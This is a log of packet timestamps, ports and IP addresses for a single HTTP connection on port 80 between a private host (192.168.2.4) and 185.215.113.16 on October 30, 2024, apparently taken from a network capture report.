Oct 30, 2024 12:36:57.445025921 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445036888 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445039988 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445066929 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445085049 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445277929 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445297956 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445312023 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445318937 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445326090 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445333958 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445342064 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445354939 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445368052 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445369959 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445375919 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445383072 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445396900 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445410967 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445427895 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445427895 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445439100 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445452929 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445456982 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445468903 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445478916 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445485115 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445497990 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445498943 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445511103 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445516109 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445528030 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445533037 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445583105 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445583105 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445583105 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445600986 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445616007 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445632935 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445641041 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445648909 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445650101 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445677042 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445693970 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445736885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445751905 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445775986 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445782900 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445791006 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445805073 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445818901 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445832968 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445868015 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445872068 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445885897 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445900917 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445909023 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445915937 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445930958 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445941925 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445981979 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.445997953 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446012974 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446027994 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446039915 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446065903 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446106911 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446120977 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446137905 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446144104 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446165085 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446177959 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446227074 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446242094 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446260929 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446274996 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446571112 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446585894 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446602106 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446615934 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446623087 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446630955 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446636915 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446649075 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446651936 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446670055 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446682930 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446691036 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446702003 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446702003 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446705103 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446710110 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446718931 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446753025 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446768045 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446768999 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446768999 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446768999 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446783066 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446794033 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446794033 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446798086 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446810007 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446830988 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446906090 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446919918 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446938992 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446952105 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.446976900 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.446991920 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447006941 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447015047 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447022915 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447031975 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447046041 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447048903 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447060108 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447073936 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447077036 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447092056 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447108030 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447108030 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447118044 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447145939 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447174072 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447187901 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447201967 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447207928 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447217941 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447232962 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447238922 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447248936 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447263002 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447278023 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447459936 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447474003 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447488070 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447499037 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447515011 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447520971 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447527885 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447535992 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447550058 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447557926 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447565079 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447571993 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447580099 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447593927 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447602034 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447606087 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447612047 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447624922 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447628021 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447639942 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447654963 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447662115 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447669983 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447669983 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447685003 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447685003 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447698116 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447698116 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447712898 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447714090 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447729111 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447736025 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447743893 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447750092 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447763920 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447770119 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447778940 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447778940 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447796106 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.447805882 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447813988 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.447829008 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448028088 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448041916 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448061943 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448065042 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448079109 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448080063 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448093891 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448103905 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448107958 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448122978 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448124886 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448137999 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448148966 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448153019 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448168993 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448182106 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448184967 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448199987 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448216915 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448218107 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448257923 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448365927 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448380947 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448395014 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448406935 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448410034 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448416948 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448425055 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448429108 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448440075 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448446035 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448462963 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448463917 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448483944 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448493004 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448837042 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448853016 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448867083 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448875904 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448889017 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448893070 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448903084 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448908091 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448921919 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448930025 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448939085 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448945999 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448961020 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448965073 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448976994 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.448978901 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448992014 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.448992014 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449008942 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449011087 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449027061 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449032068 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449040890 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449048042 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449063063 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449065924 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449074984 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449078083 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449090958 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449093103 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449106932 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449109077 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449125051 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449142933 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449207067 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449220896 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449235916 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449244022 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449251890 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449260950 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449269056 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449282885 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449285030 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449292898 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449300051 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449309111 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449321985 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449335098 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449424028 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449440002 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449462891 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449475050 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449547052 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449562073 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449577093 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449582100 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449592113 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449598074 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449606895 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449611902 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449623108 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449629068 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449640989 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449656010 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449693918 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449707985 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449723005 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449728012 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449738026 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449743986 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449759007 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449770927 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449775934 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449790001 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449804068 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449806929 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449817896 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449826002 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449834108 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449841976 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449848890 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449851036 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449865103 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449868917 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449882984 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449898005 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449903011 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449917078 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449938059 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449948072 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449961901 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449965000 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449979067 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.449982882 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.449991941 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450004101 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450007915 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450017929 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450032949 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450042009 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450048923 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450050116 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450063944 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450068951 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450081110 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450098991 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450417042 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450432062 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450453043 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450459957 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450467110 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450470924 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450485945 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450500965 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450731039 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450752020 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450769901 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450773954 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450783968 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450788975 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450805902 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450809002 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450819969 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450828075 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450838089 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450853109 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450856924 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.450867891 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.450875998 CET	49751	80	192.168.2.4	185.215.113.16
